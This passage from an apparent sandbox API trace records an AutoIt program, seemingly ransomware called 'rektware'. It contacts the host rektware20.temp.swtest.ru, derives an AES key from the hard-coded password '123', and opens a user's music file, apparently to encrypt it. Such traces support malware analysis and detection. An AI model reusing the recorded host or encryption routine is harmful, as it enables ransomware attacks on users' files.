lpString1="ybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ug3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.303] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.304] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.304] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.304] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.304] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.304] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.304] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.304] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c) returned 1 [0064.304] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.304] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.304] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.305] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.305] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.305] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.305] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.305] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.305] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.305] CloseHandle (hObject=0x0) returned 0 [0064.305] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.305] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0064.305] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.306] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.306] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.306] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.306] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.306] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.306] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.306] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.306] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.306] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.306] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.306] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.306] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.306] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.306] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.306] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.307] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.307] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.307] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.307] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.307] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab220) returned 1 [0064.308] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.308] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.308] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.308] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.308] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.308] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.309] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.309] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.309] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.309] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.309] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.309] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.309] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.309] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.309] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.309] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.309] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.309] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.309] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.309] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.310] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621420, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.310] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.310] CryptCreateHash (in: hProv=0x17ab220, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.310] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.311] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.311] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.311] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.311] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621828, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.311] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.311] CryptHashData (hHash=0x164c8f0, pbData=0x1629540, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.312] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.312] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.312] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.312] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.312] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.312] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.312] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.312] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.312] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.312] CryptDeriveKey (in: hProv=0x17ab220, Algid=0x6610, hBaseData=0x164c8f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0064.312] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.312] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.313] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.313] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.313] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.313] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.313] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.313] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.313] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.313] CryptDestroyHash (hHash=0x164c8f0) returned 1 [0064.313] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.313] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.313] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.313] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.313] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.314] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\kybdoug3-qgcuqm.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.314] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.314] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.314] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.314] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.314] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 